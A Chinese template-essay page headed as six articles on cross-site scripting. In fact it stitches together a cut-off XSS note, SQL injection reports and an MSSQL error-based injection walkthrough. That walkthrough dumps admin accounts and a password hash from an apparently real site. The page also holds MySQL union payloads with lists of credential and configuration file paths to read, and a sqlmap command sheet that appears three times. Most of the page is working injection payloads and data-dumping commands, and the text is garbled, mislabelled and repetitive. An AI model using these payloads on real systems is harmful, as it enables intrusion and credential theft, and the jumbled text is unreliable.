2024年跨站脚本的原理(六篇)
每个人都曾试图在平淡的学习、工作和生活中写一篇文章。写作是培养人的观察、联想、想象、思维和记忆的重要手段。大家想知道怎么样才能写一篇比较优质的范文吗?以下是小编为大家收集的优秀范文,欢迎大家分享阅读。
跨站脚本的原理篇一
译者:riusksk(泉哥)
漏洞分析
本篇分析介绍了不同领域下的xss注入攻击,这里没有使用xss cheatsheat.现在让我们开始详细分析它,本次实例的目标是sectheory安全咨询站点。这个过程使用了两种不同的方法,这将使一些安全公司受到微创,同时也有利于新的exploitation类型的确立。两者的结果是相同的,只是方式不一样。
们通过寻找安全漏洞并利用它来进行网站攻击。我个人总是习惯使用两种方法来踩点:
banging:在url中注入输入参数。
2. form. splitting:在form表单中注入伪造的参数,
关键代码:
your phone number:
your email address:
。。。。。
注入以下代码
telnet
跨站脚本的原理篇二
by:sobiny[b.c.t]
提交给bbsxp的漏洞公告,官方一点反映都没呢,。
其实主要是他们一个类型的注入太多了。
我都不好意思发出来,发多了手痛。
哎,举例一个。
文件
127.0.0.1/?menu=result&forumid=1&keywords=aaaaa&item=threadid&datecomparer=365&sortby=desc/**/union&verifycode=8149
if request(“menu”)=“result” then
keywords=htmlencode(request(“keywords”))
sortby=htmlencode(request(“sortby”))
item=htmlencode(request(“item”))
if keywords=“” then error(“您没有输入任何查询条件!”)
if request(“verifycode”)session(“verifycode”) or session(“verifycode”)=“” then
error(“验证码错误!”)
sqlsearch=“isapproved=1 and isdel=0 and ”&item&“ like %”&keywords&“% ”
if datecomparer >0 then sqlsearch=sqlsearch&“ and
posttime>”&sqlnowstring&“-”&datecomparer&“ ”
if forumid >0 then sqlsearch=sqlsearch&“ and forumid=”&forumid&“ ”
sql=“select * from [bbsxp_threads] where ”&sqlsearch&“ order by threadid
”&sortby&“”
sql,conn,1
……………………
我汗死,一个语句中,有两个地方可以注入,bbsxp简直太有才了,
。
他们不把这类型的漏洞补了
我还真不准备看了,太多了,bug。
跨站脚本的原理篇三
记得之前园长说不知道mysql5.0以上的iformation_schema表的结构就说自己懂得注入的是很 的事情,于是了解了一番。
mysql5内置的系统数据库iformation_schema,其结构如mssql中的master数据库,其
中记录了mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对sql注入有用的数据表说
明。
1.得到所有数据库名:
|schemata ->存储数据库名的表
|—字段:schema_name ->数据库名称
|tables ->存储表名
|—字段:table_schema ->表示该表名属于哪个数据库名
|—字段:table_name ->存储表的表名
|columns ->存储的字段名表
|—字段:table_schema ->该字段所属数据库名
|—字段:table_name ->存储所属表的名称
|—字段:column_name ->该字段的名称
#########################################################################
##
0×001 获取系统信息:
union select 1,2,3,4,5,concat
(@@n_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
,0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
/*
@@n_compile_os 获取系统版本
@@datadir 数据库路径
database() 当前数据库名称
0x3c62723e 换行hex值
*/
######################################################################
0×002 获取表名
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from
where table_schema=0x67617264656e /*
/*
0x67617264656e 为当前数据库名
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
*/
######################################################################
0×003 获取字段
union select 1,2,group_concat(column_name),4,5,6,7,8,9 froms where table_name=0x61646d696e and
table_schema=0x67617264656e limit 1 /*
/*
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
0x61646d696e ->选择一个表
0x67617264656e ->数据库名
*/
#####################################################################
0×004 获取数据
union select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
union select 1,group_concat(id),group_concat(adname),4,5,group_concat
(adpassword),6,7,8 from admin
/*
0x3c62723e 换行符号hex编码
group_concat 同时获得该字段所有数据
*/
顺便添加一些mysql注入时非常有用的一些东西
简单介绍mysql注入中用到的一些函数的作用,利用它们可以判断当前用户权限(root为最高,相当于mssql中的sa)、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。
1:system_user() 系统用户名
2:user() 用户名
3:current_user() 当前用户名
4:session_user()连接数据库的用户名
5:database() 数据库名
6:version() mysql数据库版本
7:load_file() mysql读取本地文件的函数
8:@@datadir 读取数据库路径
9:@@basedir mysql 安装路径
10:@@version_compile_os 操作系统 windows server ,
收集的一些路径:
windows下:
c:/ //查看系统版本
c:/windows/ //php配置信息
c:/windows/ //mysql配置文件,记录管理员登陆过的mysql用户名和密码
c:/winnt/
c:/winnt/
c:\mysql\data\mysql\ //表中的数据库连接密码
c:\program files\\serv-u\ //存储了虚拟主机网站路径和密码
c:\program files\serv-u\
c:\windows\system32\inetsrv\ //iis配置文件
c:\windows\repair\sam //存储了windows系统初次安装的密码
c:\program files\ serv-u\ //6.0版本以前的serv-u管理员密码存储于此
c:\program files\\
c:\documents and settings\all users\application data\symantec\pcanywhere\*.cif文件
//存储了pcanywhere的登陆密码c:\program files\apache group\apache\conf \ 或c:\apache\conf \ //查看 windows系统apache文件
c:/resin-3.0.14/conf/ //查看jsp开发的网站 resin文件配置信息.
c:/resin/conf/ /usr/local/resin/conf/ 查看linux系统配置的jsp虚拟主机
d:\apache\apache2\conf\
c:\program files\mysql\
c:\windows\system32\inetsrv\ 查看iis的虚拟主机配置
c:\mysql\data\mysql\ 存在mysql系统中的用户密码
lunix/unix下:
/usr/local/app/apache2/conf/ //apache2缺省配置文件
/usr/local/apache2/conf/
/usr/local/app/apache2/conf/extra/ //虚拟网站设置
/usr/local/app/php5/lib/ //php相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/ // apache配置文件
/etc/ //同步程序配置文件
/etc/ //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
/etc/
/usr/local/app/php5/lib/ //php相关设置
/usr/local/app/apache2/conf/extra/ //虚拟网站设置
/etc/httpd/conf/或/usr/local/apche/conf/ 查看linux apache虚拟主机配置文件
/usr/local/resin-3.0.22/conf/ 针对3.0.22的resin配置文件查看
/usr/local/resin-pro-3.0.22/conf/ 同上
/usr/local/app/apache2/conf/extra/ apashe虚拟主机查看
/etc/httpd/conf/或/usr/local/apche/conf/ 查看linux apache虚拟主机配置文件
/usr/local/resin-3.0.22/conf/ 针对3.0.22的resin配置文件查看
/usr/local/resin-pro-3.0.22/conf/ 同上
/usr/local/app/apache2/conf/extra/ apashe虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出freebsd,sunos系统根目录
replace(load_file(0x2f6574632f706173737764),0x3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个php文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
跨站脚本的原理篇四
author:昆仑男银
群里有人在问insert型的怎么注射,insert类型的我还没碰到过呢,就去看了看,做了一下笔记备忘,
/?proid=49579 加一个点,报错
是insert类型的语句,百度了一下,对insert语句的注射大致有个了解,于是开始刺探信息。
提交:/?proid=49579,cast(@@version/**/as/**/int),null);--
不兼容...把int换成varchar,页面返回正常。。。百度一下,原来是mssql不允许将text或ntext型数据直接转换为int型
要想爆出信息看来得找个varchar 或nvarchar类型的字段,把后面2个对换了一下位置,成功爆出。
提交:/?proid=49579,null,cast(system_user/**/as/**/int));--
在将 nvarchar 值 afdatalogin 转换成数据类型 int 时失败。
很好,再接着爆信息,收集的一些如下。
version:microsoft sql server - 9.00.4035.00 (intel x86)......edition on windows nt 5.2 (build 3790: service pack 2)
servername:sql2005
host_name:ibm1
db_name:kunlun
user_name:dbo
可以看出 web与数据库分离,看来想差异备份或log备份是不行的了,只能爆后台帐号、密码进后台了。
先爆一下库,构造
/?proid=49579,null,null);select/**/name/**/from/**/abases/**/where/**/dbid=1/**/and/**/1=(select/**/name/**/from/**/abases/**/where/**/dbid=1)--
修改第最后一个dbid的值,爆出13个库...
1:master
2:tempdb
3:model
4:msdb
5:kunlun_bbs
6:kunlun
7:new_af
8:af_back
9:console
10:newkunlun
11:newkunlun2
12:oldkunlun
13:newbbs
接下来爆表名
构造: /?proid=49579,null,null);select/**/name/**/from/**/abases/**/where/**/dbid=1/**/and/**/1=(select/**/top/**/1/**/name/**/from/**/sysobjects/**/where/**/xtype=u/**/and/**/name/**/not/**/in(select/**/top/**/0/**/name/**/from/**/sysobjects/**/where/**/xtype=u))--
修改第二个top的值,从0递增上去,
爆第六张表时很开心,马上去爆字段、密码。
1:af_useraccount
2:yx_unit
3:af_unioncompany
4:yx_flashxz
5:af_userpointlogs
6:buy_admin
爆指定表buy_admin的字段
/?proid=49579,null,null);select/**/name/**/from/**/abases/**/where/**/dbid=1/**/and/**/1=(select/**/top/**/1/**/name/**/from/**/syscolumns/**/where/**/id/**/in/**/(select/**/id/**/from/**/sysobjects/**/where/**/name=buy_admin)/**/and/**/name/**/not/**/in/**/(select/**/top/**/0/**/name/**/from/**/syscolumns/**/where/**/id/**/in/**/(select/**/id/**/from/**/sysobjects/**/where/**/name=buy_admin)))--
爆出来了,一样是修改第二个top的值。
密码:af_apass
id:af_id
用户:af_aname
看到name和pass很开心啊,马上爆内容。
提交:
/?proid=49579,null,null);select/**/*/**/from/**/buy_admin/**/where/**/af_id=2/**/and/**/1=(select/**/af_aname/**/from/**/buy_admin/**/where/**/af_id=2)--
爆出来了,还是明文的,呵呵,找后台登录。
hjbadmin hjbmanager
yck yck
高兴早了,怎么也登录不了。唉,再爆表把,爆到第n张,看见yx_manage,开心了,这回没错了,爆字段爆内容
yx_adminuser yx_pwd
hgnadmin 50252ec697150cc9aa69a47333c716b8
可惜啊,md5解密不出....到这里差不多就结束了。很晚了。
哦,忘了说了,这个是dbo权限,呵呵。
跨站脚本的原理篇五
工具提供sqlmap0.9版本、、
获取数据库名
./ -u “?nid=14550″
–user-agent “mozilla/4.0 (compatible; msie 8.0; windows nt 5.2; trident/4.0;
.net clr 1.1.4322; .net clr 2.0.50727; .net clr 3.0.04506.648; .net clr
3.5.21022; .net clr 3.0.4506.2152; .net clr 3.5.30729)” –dbs
获取表名
./ -u “?nid=14550″
–user-agent “mozilla/4.0 (compatible; msie 8.0; windows nt 5.2; trident/4.0;
.net clr 1.1.4322; .net clr 2.0.50727; .net clr 3.0.04506.648; .net clr
3.5.21022; .net clr 3.0.4506.2152; .net clr 3.5.30729)” -d database
–tables
获取列名
./ -u “?nid=14550″
–user-agent “mozilla/4.0 (compatible; msie 8.0; windows nt 5.2; trident/4.0;
.net clr 1.1.4322; .net clr 2.0.50727; .net clr 3.0.04506.648; .net clr
3.5.21022; .net clr 3.0.4506.2152; .net clr 3.5.30729)” -d database -t
cdb_adminactions –columns
获取值
./ -u “?nid=14550″
–user-agent “mozilla/4.0 (compatible; msie 8.0; windows nt 5.2; trident/4.0;
.net clr 1.1.4322; .net clr 2.0.50727; .net clr 3.0.04506.648; .net clr
3.5.21022; .net clr 3.0.4506.2152; .net clr 3.5.30729)” -d database -t
cdb_members -c username,password –dump
svn checkout /sqlmap/trunk/sqlmap
sqlmap-dev
-u “/?cityid=2&m=1″
-v 1 –sql-shell //执行sql语句
-u “/?cityid=2&m=1″
-v 5 //更详细的信息
load options from a configuration ini file
sqlmap -c
使用post方法提交
-u “/sqlmap/oracle/”
–method post –data “id=1″
使用cookies方式提交,cookie的值用;分割,可以使用tamperdata来抓cookies
python -u “/sqlmap/mssql/”
–cookie “id=1″ -v 1
使用referer欺骗
python -u “/sqlmap/pgsql/?id=1″
–referer “” -v 3
使用自定义user-agent,或者使用随机使用自带的
python -u “/sqlmap/oracle/?id=1″
–user-agent “mozilla/4.0 (compatible; msie 7.0; windows nt 5.1)” -v
3
python -u “/sqlmap/mysql/?id=1″
-v 1 -a “./txt/”
使用基本认证
python -u “/sqlmap/mysql/basic/?id=1″
–auth-type basic –auth-cred “testuser:testpass” -v 3
使用digest认证
python -u “/sqlmap/mysql/digest/?id=1″
–auth-type digest –auth-cred “testuser:testpass” -v 3
使用代理,配合tor
python -u “/sqlmap/pgsql/?id=1″
–proxy “192.168.1.47:3128″
python
-u “/sqlmap/pgsql/?id=1″
–proxy “192.168.1.47:8118″
使用多线程猜解
python -u “/sqlmap/mysql/?id=1″
-v 1 –current-user –threads 3
绕过动态检测,直接指定有注入点的参数,可以使用,分割多个参数,指定user-agent注入
python -u “/sqlmap/pgsql/?id=1″
-v 1 -p “id
python -u “/sqlmap/pgsql/?id=1&cat=2″
-v 1 -p “cat,id”
python -u “/sqlmap/mysql/”
-v 1 -p “user-agent” –user-agent “sqlmap/0.7rc1 ()”
指定数据库,绕过sqlmap的自动检测
python -u “/sqlmap/pgsql/?id=1″
-v 2 –dbms “postgresql”
* mysql
* oracle
* postgresql
*
microsoft sql server
指定操作系统,绕过sqlmap自动检测
python -u “/sqlmap/pgsql/?id=1″
-v 2 –os “windows”
* linux
* windows
自定义payload
options:
–prefix and –postfix
in some circumstances the vulnerable parameter is
exploitable only if the user provides a postfix to be appended to the injection
payload. another scenario where these options come handy presents itself when
the user already knows that query syntax and want to detect and exploit the sql
injection by directly providing a injection payload prefix and/or
postfix.
example on a mysql 5.0.67 target on a page where the sql query
is: $query = “select * from users where id=(‘” . $_get[id] . “‘) limit 0,
1″;:
$ python -u “/sqlmap/mysql/?id=1″
-v 3 -p “id” –prefix “‘” –postfix “and
‘test’=test”
[...]
[hh:mm:16] [info] testing sql injection on get
parameter ‘id’ with 0 parenthesis
[hh:mm:16] [info] testing custom injection
on get parameter ‘id’
[hh:mm:16] [traffic out] http request:
get
/sqlmap/mysql/?id=1%27%29%20and%207433=7433%20and%20
%28%27test%27=%27test
http/1.1
accept-charset: iso-8859-15,utf-8;q=0.7,*;q=0.7
host:
:80
accept-language: en-us,en;q=0.5
accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
user-agent:
sqlmap/0.7rc1 ()
connection:
close
[...]
[hh:mm:17] [info] get parameter ‘id’ is custom
injectable
[...]
as you can see, the injection payload for testing for
custom injection
is:
id=1%27%29%20and%207433=7433%20and%20%28%27test%27=%27test
which
url decoded is:
id=1′) and 7433=7433 and (‘test’=test
and makes
the query syntatically correct to the page query:
select * from users
where id=(’1′) and 7433=7433 and (‘test’=test’) limit 0, 1
in this
simple example, sqlmap could detect the sql injection and exploit it without
need to provide a custom injection payload, but sometimes in the real world
application it is necessary to provide it.
页面比较
python -u “/sqlmap/mysql/?id=1″
–string “luther” -v 1
python -u “/sqlmap/mysql/?id=1″
–regexp “ lu[w][w]er” -v
排除网站的内容
python -u “/sqlmap/mysql/?id=1″
–excl-reg “dynamic content: ([d]+)”
多语句测试,php内嵌函数mysql_query,不支持多语句
python -u “/sqlmap/mysql/?id=1″
–stacked-test -v 1
union注入测试
python -u “/sqlmap/oracle/?id=1″
–union-test -v 1
unionz注入配合orderby
python -u “/sqlmap/pgsql/?id=1″
–union-test –union-tech orderby -v 1
python -u “/sqlmap/mssql/?id=1″
-v 1 –union-use –banner
python -u “/sqlmap/mysql/?id=1″
-v 5 –union-use –current-user
python -u “/sqlmap/mysql/?id=1″
-v 1 –union-use –dbs
fingerprint
python -u “/sqlmap/mssql/?id=1″
-v 1 -f
python -u “192.168.123.36/sqlmap/?name=luther”
-v 1 -f -b
判断当前用户是否是dba
python -u “/sqlmap/pgsql/?id=1″
–is-dba -v 1
列举数据库用户
python -u “/sqlmap/pgsql/?id=1″
–users -v 0
列举数据库用户密码
python -u “/sqlmap/mysql/?id=1″
–passwords -v 0
python -u “/sqlmap/mssql/?id=1″
–passwords -u sa -v 0
查看用户权限
python -u “/sqlmap/oracle/?id=1″
–privileges -v 0
python -u “/sqlmap/pgsql/?id=1″
–privileges -u postgres -v 0
列数据库
python -u “/sqlmap/mssql/?id=1″
–dbs -v 0
列出指定数据库指定表的列名
python -u “/sqlmap/mysql/?id=1″
–columns -t users -d test -v 1
列出指定数据库的指定表的指定列的内容
python -u “/sqlmap/mssql/?id=1″
–dump -t users -d master -c surname -v 0
指定列的范围从2-4
python -u “/sqlmap/mysql/?id=1″
–dump -t users -d test –start 2 –stop 4 -v 0
导出所有数据库,所有表的内容
python -u “/sqlmap/mysql/?id=1″
–dump-all -v 0
只列出用户自己新建的数据库和表的内容
python -u “/sqlmap/mssql/?id=1″
–dump-all –exclude-sysdbs -v 0
sql query
python -u “/sqlmap/pgsql/?id=1″
–sql-query “select usename from pg_user” -v 0
python -u “/sqlmap/mysql/?id=1″
–sql-query “select host, password from limit 1, 3″ -v
1
select usename, passwd from pg_shadow order by usename
保存和恢复会话
python -u “/sqlmap/pgsql/?id=1″
-b -v 1 -s “”
保存选项到inc配置文件
python -u “/sqlmap/pgsql/?id=1″
-b -v 1 –save
获取数据库名:
./ -u “?nid=14550” --user-agent “mozilla/4.0 (compatible; msie 8.0; windows nt 5.2; trident/4.0; .net clr 1.1.4322; .net clr 2.0.50727; .net clr 3.0.04506.648; .net clr 3.5.21022; .net clr 3.0.4506.2152; .net clr 3.5.30729)” --dbs
获取表名:
./ -u “?nid=14550” --user-agent “mozilla/4.0 (compatible; msie 8.0; windows nt 5.2; trident/4.0; .net clr 1.1.4322; .net clr 2.0.50727; .net clr 3.0.04506.648; .net clr 3.5.21022; .net clr 3.0.4506.2152; .net clr 3.5.30729)” -d database --tables
获取列名
./ -u “?nid=14550” --user-agent “mozilla/4.0 (compatible; msie 8.0; windows nt 5.2; trident/4.0; .net clr 1.1.4322; .net clr 2.0.50727; .net clr 3.0.04506.648; .net clr 3.5.21022; .net clr 3.0.4506.2152; .net clr 3.5.30729)” -d database -t cdb_adminactions --columns
获取值
./ -u “?nid=14550” --user-agent “mozilla/4.0 (compatible; msie 8.0; windows nt 5.2; trident/4.0; .net clr 1.1.4322; .net clr 2.0.50727; .net clr 3.0.04506.648; .net clr 3.5.21022; .net clr 3.0.4506.2152; .net clr 3.5.30729)” -d database -t cdb_members -c username,password --dump
更新
svn checkout /sqlmap/trunk/sqlmap sqlmap-dev
-u “/?cityid=2&m=1” -v 1 --sql-shell //执行sql语句
-u “/?cityid=2&m=1” -v 5 //更详细的信息
load options from a configuration ini file
sqlmap -c
使用post方法提交
-u “/sqlmap/oracle/” --method post --data “id=1”
使用cookies方式提交,cookie的值用;分割,可以使用tamperdata来抓cookies
python -u “/sqlmap/mssql/” --cookie “id=1” -v 1
使用referer欺骗
python -u “/sqlmap/pgsql/?id=1” --referer “” -v 3
使用自定义user-agent,或者使用随机使用自带的
python -u “/sqlmap/oracle/?id=1” --user-agent “mozilla/4.0 (compatible; msie 7.0; windows nt 5.1)” -v 3
python -u “/sqlmap/mysql/?id=1” -v 1 -a “./txt/”
使用基本认证
python -u “/sqlmap/mysql/basic/?id=1” --auth-type basic --auth-cred “testuser:testpass” -v 3
使用digest认证
python -u “/sqlmap/mysql/digest/?id=1” --auth-type digest --auth-cred “testuser:testpass” -v 3
使用代理,配合tor
python -u “/sqlmap/pgsql/?id=1” --proxy “192.168.1.47:3128”
python -u “/sqlmap/pgsql/?id=1” --proxy “192.168.1.47:8118”
使用多线程猜解
python -u “/sqlmap/mysql/?id=1” -v 1 --current-user --threads 3
绕过动态检测,直接指定有注入点的参数,可以使用,分割多个参数,指定user-agent注入
python -u “/sqlmap/pgsql/?id=1” -v 1 -p “id
python -u ”/sqlmap/pgsql/?id=1&cat=2“ -v 1 -p ”cat,id“
python -u ”/sqlmap/mysql/“ -v 1 -p ”user-agent“ --user-agent ”sqlmap/0.7rc1 ()“
指定数据库,绕过sqlmap的自动检测
python -u ”/sqlmap/pgsql/?id=1“ -v 2 --dbms ”postgresql“
* mysql
* oracle
* postgresql
* microsoft sql server
指定操作系统,绕过sqlmap自动检测
python -u ”/sqlmap/pgsql/?id=1“ -v 2 --os ”windows“
* linux
* windows
自定义payload
options: --prefix and --postfix
in some circumstances the vulnerable parameter is exploitable only if the user provides a postfix to be appended to the injection payload. another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the sql injection by directly providing a injection payload prefix and/or postfix.
example on a mysql 5.0.67 target on a page where the sql query is: $query = ”select * from users where id=(“ . $_get[id] . ”) limit 0, 1“;:
$ python -u ”/sqlmap/mysql/?id=1“ -v 3 -p ”id“ --prefix ”“ --postfix ”and test=test“
[...]
[hh:mm:16] [info] testing sql injection on get parameter id with 0 parenthesis
[hh:mm:16] [info] testing custom injection on get parameter id
[hh:mm:16] [traffic out] http request:
get /sqlmap/mysql/?id=1%27%29%20and%207433=7433%20and%20
%28%27test%27=%27test http/1.1
accept-charset: iso-8859-15,utf-8;q=0.7,*;q=0.7
host: :80
accept-language: en-us,en;q=0.5
accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
user-agent: sqlmap/0.7rc1 ()
connection: close
[...]
[hh:mm:17] [info] get parameter id is custom injectable
[...]
as you can see, the injection payload for testing for custom injection is:
id=1%27%29%20and%207433=7433%20and%20%28%27test%27=%27test
which url decoded is:
id=1) and 7433=7433 and (test=test
and makes the query syntatically correct to the page query:
select * from users where id=(1) and 7433=7433 and (test=test) limit 0, 1
in this simple example, sqlmap could detect the sql injection and exploit it without need to provide a custom injection payload, but sometimes in the real world application it is necessary to provide it.
页面比较
python -u ”/sqlmap/mysql/?id=1“ --string ”luther“ -v 1
python -u ”/sqlmap/mysql/?id=1“ --regexp ”lu[w][w]er“ -v
排除网站的内容
python -u ”/sqlmap/mysql/?id=1“ --excl-reg ”dynamic content: ([d]+)“
多语句测试,php内嵌函数mysql_query(),不支持多语句
python -u ”/sqlmap/mysql/?id=1“ --stacked-test -v 1
union注入测试
python -u ”/sqlmap/oracle/?id=1“ --union-test -v 1
unionz注入配合orderby
python -u ”/sqlmap/pgsql/?id=1“ --union-test --union-tech orderby -v 1
python -u ”/sqlmap/mssql/?id=1“ -v 1 --union-use --banner
python -u ”/sqlmap/mysql/?id=1“ -v 5 --union-use --current-user
python -u ”/sqlmap/mysql/?id=1“ -v 1 --union-use --dbs
fingerprint
python -u ”/sqlmap/mssql/?id=1“ -v 1 -f
python -u ”192.168.123.36/sqlmap/?name=luther“ -v 1 -f -b
判断当前用户是否是dba
python -u ”/sqlmap/pgsql/?id=1“ --is-dba -v 1
列举数据库用户
python -u ”/sqlmap/pgsql/?id=1“ --users -v 0
列举数据库用户密码
python -u ”/sqlmap/mysql/?id=1“ --passwords -v 0
python -u ”/sqlmap/mssql/?id=1“ --passwords -u sa -v 0
查看用户权限
python -u ”/sqlmap/oracle/?id=1“ --privileges -v 0
python -u ”/sqlmap/pgsql/?id=1“ --privileges -u postgres -v 0
列数据库
python -u ”/sqlmap/mssql/?id=1“ --dbs -v 0
列出指定数据库指定表的列名
python -u ”/sqlmap/mysql/?id=1“ --columns -t users -d test -v 1
列出指定数据库的指定表的指定列的内容
python -u ”/sqlmap/mssql/?id=1“ --dump -t users -d master -c surname -v 0
指定列的范围从2-4
python -u ”/sqlmap/mysql/?id=1“ --dump -t users -d test --start 2 --stop 4 -v 0
导出所有数据库,所有表的内容
python -u ”/sqlmap/mysql/?id=1“ --dump-all -v 0
只列出用户自己新建的数据库和表的内容
python -u ”/sqlmap/mssql/?id=1“ --dump-all --exclude-sysdbs -v 0
sql query
python -u ”/sqlmap/pgsql/?id=1“ --sql-query ”select usename from pg_user“ -v 0
python -u ”/sqlmap/mysql/?id=1“ --sql-query ”select host, password from limit 1, 3“ -v 1
select usename, passwd from pg_shadow order by usename
保存和恢复会话
python -u ”/sqlmap/pgsql/?id=1“ -b -v 1 -s ”“
保存选项到inc配置文件
python -u ”/sqlmap/pgsql/?id=1“ -b -v 1 --save
获取数据库名
./ -u ”?nid=14550“ --user-agent ”mozilla/4.0 (compatible; msie 8.0; windows nt 5.2; trident/4.0; .net clr 1.1.4322; .net clr 2.0.50727; .net clr 3.0.04506.648; .net clr 3.5.21022; .net clr 3.0.4506.2152; .net clr 3.5.30729)“ --dbs获取表名
./ -u ”?nid=14550“ --user-agent ”mozilla/4.0 (compatible; msie 8.0; windows nt 5.2; trident/4.0; .net clr 1.1.4322; .net clr 2.0.50727; .net clr 3.0.04506.648; .net clr 3.5.21022; .net clr 3.0.4506.2152; .net clr 3.5.30729)“ -d database --tables
获取列名
./ -u ”?nid=14550“ --user-agent ”mozilla/4.0 (compatible; msie 8.0; windows nt 5.2; trident/4.0; .net clr 1.1.4322; .net clr 2.0.50727; .net clr 3.0.04506.648; .net clr 3.5.21022; .net clr 3.0.4506.2152; .net clr 3.5.30729)“ -d database -t cdb_adminactions --columns
获取值
./ -u ”?nid=14550“ --user-agent ”mozilla/4.0 (compatible; msie 8.0; windows nt 5.2; trident/4.0; .net clr 1.1.4322; .net clr 2.0.50727; .net clr 3.0.04506.648; .net clr 3.5.21022; .net clr 3.0.4506.2152; .net clr 3.5.30729)“ -d database -t cdb_members -c username,password --dump
来源:影子
更新
svn checkout /sqlmap/trunk/sqlmap -u ”/?cityid=2&m=1“ -v 1 --sql-shell //执行sql语句
-u ”/?cityid=2&m=1“ -v 5 //更详细的信息
load options from a configuration ini file
sqlmap -c 使用post方法提交
-u ”/sqlmap/oracle/“ --method post --data ”id=1“使用cookies方式提交,cookie的值用;分割,可以使用tamperdata来抓cookies
python -u ”/sqlmap/mssql/“ --cookie ”id=1“ -v 1使用referer欺骗
python -u ”/sqlmap/pgsql/?id=1“ --referer ”“ -v 3使用自定义user-agent,或者使用随机使用自带的
python -u ”/sqlmap/oracle/?id=1“ --user-agent ”mozilla/4.0 (compatible; msie 7.0; windows nt 5.1)“ -v 3python -u ”/sqlmap/mysql/?id=1“ -v 1 -a ”./txt/“
使用基本认证
python -u ”/sqlmap/mysql/basic/?id=1“ --auth-type basic --auth-cred ”testuser:testpass“ -v 3使用digest认证
python -u ”/sqlmap/mysql/digest/?id=1“ --auth-type digest --auth-cred ”testuser:testpass“ -v 3使用代理,配合tor
python -u ”/sqlmap/pgsql/?id=1“ --proxy ”192.168.1.47:3128“
python -u ”/sqlmap/pgsql/?id=1“ --proxy ”192.168.1.47:8118“使用多线程猜解
python -u ”/sqlmap/mysql/?id=1“ -v 1 --current-user --threads 3绕过动态检测,直接指定有注入点的参数,可以使用,分割多个参数,指定user-agent注入
python -u ”/sqlmap/pgsql/?id=1“ -v 1 -p ”id
python -u “/sqlmap/pgsql/?id=1&cat=2” -v 1 -p “cat,id”
python -u “/sqlmap/mysql/” -v 1 -p “user-agent” --user-agent “sqlmap/0.7rc1 ()”指定数据库,绕过sqlmap的自动检测
python -u “/sqlmap/pgsql/?id=1” -v 2 --dbms “postgresql”* mysql
* oracle
* postgresql
* microsoft sql server指定操作系统,绕过sqlmap自动检测
python -u “/sqlmap/pgsql/?id=1” -v 2 --os “windows”* linux
* windows自定义payload
options: --prefix and --postfixin some circumstances the vulnerable parameter is exploitable only if the user provides a postfix to be appended to the injection payload. another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the sql injection by directly providing a injection payload prefix and/or postfix.
example on a mysql 5.0.67 target on a page where the sql query is: $query = “select * from users where id=(” . $_get[id] . “) limit 0, 1”;:
$ python -u “/sqlmap/mysql/?id=1” -v 3 -p “id” --prefix “” --postfix “and test=test”
[...]
[hh:mm:16] [info] testing sql injection on get parameter id with 0 parenthesis
[hh:mm:16] [info] testing custom injection on get parameter id
[hh:mm:16] [traffic out] http request:
get /sqlmap/mysql/?id=1%27%29%20and%207433=7433%20and%20
%28%27test%27=%27test http/1.1
accept-charset: iso-8859-15,utf-8;q=0.7,*;q=0.7
host: :80
accept-language: en-us,en;q=0.5
accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
user-agent: sqlmap/0.7rc1 ()
connection: close
[...]
[hh:mm:17] [info] get parameter id is custom injectable
[...]as you can see, the injection payload for testing for custom injection is:
id=1%27%29%20and%207433=7433%20and%20%28%27test%27=%27test
which url decoded is:
id=1) and 7433=7433 and (test=test
and makes the query syntatically correct to the page query:
select * from users where id=(1) and 7433=7433 and (test=test) limit 0, 1
in this simple example, sqlmap could detect the sql injection and exploit it without need to provide a custom injection payload, but sometimes in the real world application it is necessary to provide it.
页面比较
python -u “/sqlmap/mysql/?id=1” --string “luther” -v 1
python -u “/sqlmap/mysql/?id=1” --regexp “lu[w][w]er” -v排除网站的内容
python -u “/sqlmap/mysql/?id=1” --excl-reg “dynamic content: ([d]+)”多语句测试,php内嵌函数mysql_query(),不支持多语句
python -u “/sqlmap/mysql/?id=1” --stacked-test -v 1union注入测试
python -u “/sqlmap/oracle/?id=1” --union-test -v 1unionz注入配合orderby
python -u “/sqlmap/pgsql/?id=1” --union-test --union-tech orderby -v 1python -u “/sqlmap/mssql/?id=1” -v 1 --union-use --banner
python -u “/sqlmap/mysql/?id=1” -v 5 --union-use --current-user
python -u “/sqlmap/mysql/?id=1” -v 1 --union-use --dbsfingerprint
python -u “/sqlmap/mssql/?id=1” -v 1 -f
python -u “192.168.123.36/sqlmap/?name=luther” -v 1 -f -b判断当前用户是否是dba
python -u “/sqlmap/pgsql/?id=1” --is-dba -v 1列举数据库用户
python -u “/sqlmap/pgsql/?id=1” --users -v 0
列举数据库用户密码
python -u “/sqlmap/mysql/?id=1” --passwords -v 0
python -u “/sqlmap/mssql/?id=1” --passwords -u sa -v 0查看用户权限
python -u “/sqlmap/oracle/?id=1” --privileges -v 0
python -u “/sqlmap/pgsql/?id=1” --privileges -u postgres -v 0列数据库
python -u “/sqlmap/mssql/?id=1” --dbs -v 0列出指定数据库指定表的列名
python -u “/sqlmap/mysql/?id=1” --columns -t users -d test -v 1列出指定数据库的指定表的指定列的内容
python -u “/sqlmap/mssql/?id=1” --dump -t users -d master -c surname -v 0指定列的范围从2-4
